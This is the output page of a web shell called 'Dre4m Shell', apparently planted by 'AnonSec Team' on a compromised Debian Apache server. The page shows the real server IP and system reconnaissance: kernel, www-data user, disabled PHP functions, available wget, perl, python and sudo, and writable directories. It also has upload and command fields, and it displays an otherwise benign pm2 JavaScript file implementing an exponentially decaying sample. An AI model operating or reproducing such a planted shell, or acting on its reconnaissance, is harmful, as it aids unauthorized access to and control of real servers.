Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.138.80
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/proc/2/root/usr/lib/node_modules/pm2/node_modules/tx2/src/utils/probes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/proc/2/root/usr/lib/node_modules/pm2/node_modules/tx2/src/utils/probes/EDS.js
var BinaryHeap = require('./BinaryHeap');
var units      = require('./units');

module.exports = ExponentiallyDecayingSample;
function ExponentiallyDecayingSample(options) {
  options = options || {};

  this._elements = new BinaryHeap({
    score: function(element) {
      return -element.priority;
    }
  });

  this._rescaleInterval = options.rescaleInterval || ExponentiallyDecayingSample.RESCALE_INTERVAL;
  this._alpha           = options.alpha || ExponentiallyDecayingSample.ALPHA;
  this._size            = options.size || ExponentiallyDecayingSample.SIZE;
  this._random          = options.random || this._random;
  this._landmark        = null;
  this._nextRescale     = null;
  this._mean            = null;
}

ExponentiallyDecayingSample.RESCALE_INTERVAL = 1 * units.HOURS;
ExponentiallyDecayingSample.ALPHA            = 0.015;
ExponentiallyDecayingSample.SIZE             = 1028;

ExponentiallyDecayingSample.prototype.update = function(value, timestamp) {
  var now = Date.now();
  if (!this._landmark) {
    this._landmark    = now;
    this._nextRescale = this._landmark + this._rescaleInterval;
  }

  timestamp = timestamp || now;

  var newSize = this._elements.size() + 1;

  var element = {
    priority: this._priority(timestamp - this._landmark),
    value: value
  };

  if (newSize <= this._size) {
    this._elements.add(element);
  } else if (element.priority > this._elements.first().priority) {
    this._elements.removeFirst();
    this._elements.add(element);
  }

  if (now >= this._nextRescale) this._rescale(now);
};

ExponentiallyDecayingSample.prototype.toSortedArray = function() {
  return this._elements
    .toSortedArray()
    .map(function(element) {
      return element.value;
    });
};


ExponentiallyDecayingSample.prototype.toArray = function() {
  return this._elements
    .toArray()
    .map(function(element) {
      return element.value;
    });
};

ExponentiallyDecayingSample.prototype._weight = function(age) {
  // We divide by 1000 to not run into huge numbers before reaching a
  // rescale event.
  return Math.exp(this._alpha * (age / 1000));
};

ExponentiallyDecayingSample.prototype._priority = function(age) {
  return this._weight(age) / this._random();
};

ExponentiallyDecayingSample.prototype._random = function() {
  return Math.random();
};

ExponentiallyDecayingSample.prototype._rescale = function(now) {
  now               = now || Date.now();

  var self          = this;
  var oldLandmark   = this._landmark;
  this._landmark    = now || Date.now();
  this._nextRescale = now + this._rescaleInterval;

  var factor = self._priority(-(self._landmark - oldLandmark));

  this._elements
    .toArray()
    .forEach(function(element) {
      element.priority *= factor;
    });
};

ExponentiallyDecayingSample.prototype.avg = function(now) {
  var sum = 0;
  this._elements
    .toArray()
    .forEach(function(element) {
      sum += element.value;
    });
  return (sum / this._elements.size());
}

Anon7 - 2022
AnonSec Team